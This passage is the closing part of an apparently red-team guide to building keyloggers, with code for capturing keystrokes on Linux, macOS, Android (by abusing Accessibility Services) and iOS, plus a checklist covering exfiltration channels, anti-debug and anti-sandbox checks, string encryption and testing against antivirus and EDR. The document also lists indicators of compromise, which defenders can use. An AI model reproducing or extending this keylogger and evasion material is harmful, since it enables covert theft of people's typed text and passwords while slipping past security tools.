## 9. CROSS-PLATFORM METHODS
### 9.1 Linux — /dev/input/eventX
```bash
# Identify keyboard device
cat /proc/bus/input/devices | grep -A 5 "keyboard"
# Read raw input events (requires root or input group membership)
# struct input_event { struct timeval time; __u16 type; __u16 code; __s32 value; }
```
```c
// C implementation
#include <linux/input.h>
int fd = open("/dev/input/event0", O_RDONLY);
struct input_event ev;
while (read(fd, &ev, sizeof(ev)) == sizeof(ev)) {
if (ev.type == EV_KEY) {
// ev.code = key code (KEY_A, KEY_B, etc.)
// ev.value = 1 (press), 0 (release), 2 (repeat)
}
}
```
**Alternative: libinput hooking** — intercept at the libinput layer for
Wayland compositors where X11 methods don't work.
**X11: XRecord extension** — capture X11 input events without hooking:
```c
// XRecord provides a protocol-level recording facility
// XRecordCreateContext → XRecordEnableContext → callback receives events
// Works under X11 but NOT under Wayland (security improvement)
```
**IOCs:** Process reading from /dev/input/*, inotify on input devices,
audit rules on input device access.
### 9.2 macOS — CGEventTap
```c
// Create an event tap at the HID system level
CGEventMask mask = CGEventMaskBit(kCGEventKeyDown) | CGEventMaskBit(kCGEventKeyUp);
CFMachPortRef tap = CGEventTapCreate(
kCGHIDEventTap, // tap at HID level
kCGHeadInsertEventTap, // insert at head
kCGEventTapOptionDefault, // active tap (can modify events)
mask,
eventCallback,
NULL
);
// Add to run loop
CFRunLoopSourceRef source = CFMachPortCreateRunLoopSource(NULL, tap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), source, kCFRunLoopCommonModes);
CGEventTapEnable(tap, true);
CFRunLoopRun();
```
**Requirements:** Accessibility permissions (TCC — Transparency, Consent, Control).
User must grant Input Monitoring permission or the application must be in the
Accessibility list in System Preferences.
**Alternative: IOKit HID Manager** — lower-level access to USB HID devices
directly. Requires root or appropriate entitlements.
**IOCs:** TCC database entry, Accessibility permission grant, event tap
registration.
### 9.3 Android — Accessibility Service Abuse
```xml
<!-- AndroidManifest.xml -->
<service android:name=".KeyCaptureService"
android:permission="android.permission.BIND_ACCESSIBILITY_SERVICE">
<intent-filter>
<action android:name="android.accessibilityservice.AccessibilityService" />
</intent-filter>
<meta-data android:name="android.accessibilityservice"
android:resource="@xml/accessibility_config" />
</service>
```
```java
// AccessibilityService that captures input events
public class KeyCaptureService extends AccessibilityService {
@Override
public void onAccessibilityEvent(AccessibilityEvent event) {
if (event.getEventType() == AccessibilityEvent.TYPE_VIEW_TEXT_CHANGED) {
CharSequence text = event.getText().toString();
// Captured text change in any application
}
}
}
```
**Requirement:** User must manually enable the Accessibility Service in Settings.
Social engineering required. Android 13+ shows persistent notification for
active accessibility services.
**Alternative: Custom InputMethodService** — implement a custom keyboard that
logs all typed text. Requires user to select it as the active keyboard.
### 9.4 iOS — Custom Keyboard Extension
```swift
// Custom keyboard extension can capture all typed text
class KeyboardViewController: UIInputViewController {
override func textDidChange(_ textInput: UITextInput?) {
// Called when text changes in any application
// Can capture what the user types
}
}
```
**Severe limitations:**
- Sandboxed — cannot access files or network without "Allow Full Access"
- User must explicitly install and enable the keyboard
- Cannot capture in password fields (iOS blocks custom keyboards there)
- App Review may reject overtly suspicious keyboard extensions
---
## 10. VALIDATION CHECKLIST
- [ ] Selected capture technique appropriate for target platform and privileges
- [ ] Implemented active window correlation for keystroke context
- [ ] Buffering keystrokes in encrypted memory (never plaintext on disk)
- [ ] Exfiltration channel selected and tested
- [ ] Anti-debug and anti-sandbox checks implemented
- [ ] API resolution is dynamic (no suspicious static imports)
- [ ] All strings encrypted at rest in the binary
- [ ] IOC footprint documented for purple team awareness
- [ ] Tested against target environment's EDR/AV stack
- [ ] Cross-platform coverage implemented if multi-OS scope
- [ ] Cleanup procedure documented (unhook, zero buffers, exit cleanly)
---
## KEY REFERENCES
- Windows HID Usage Tables: https://usb.org/sites/default/files/hut1_4.pdf
- GTFOBins equivalent for Windows input APIs: https://lolbas-project.github.io/
- MITRE ATT&CK T1056.001 — Input Capture: Keylogging
- MITRE ATT&CK T1115 — Clipboard Data
- ETW Provider Reference: https://github.com/repnz/etw-providers-docs
- PatchGuard / KPP documentation for kernel hook limitations
- SysWhispers3 for direct syscall stubs: https://github.com/klezVirus/SysWhispers3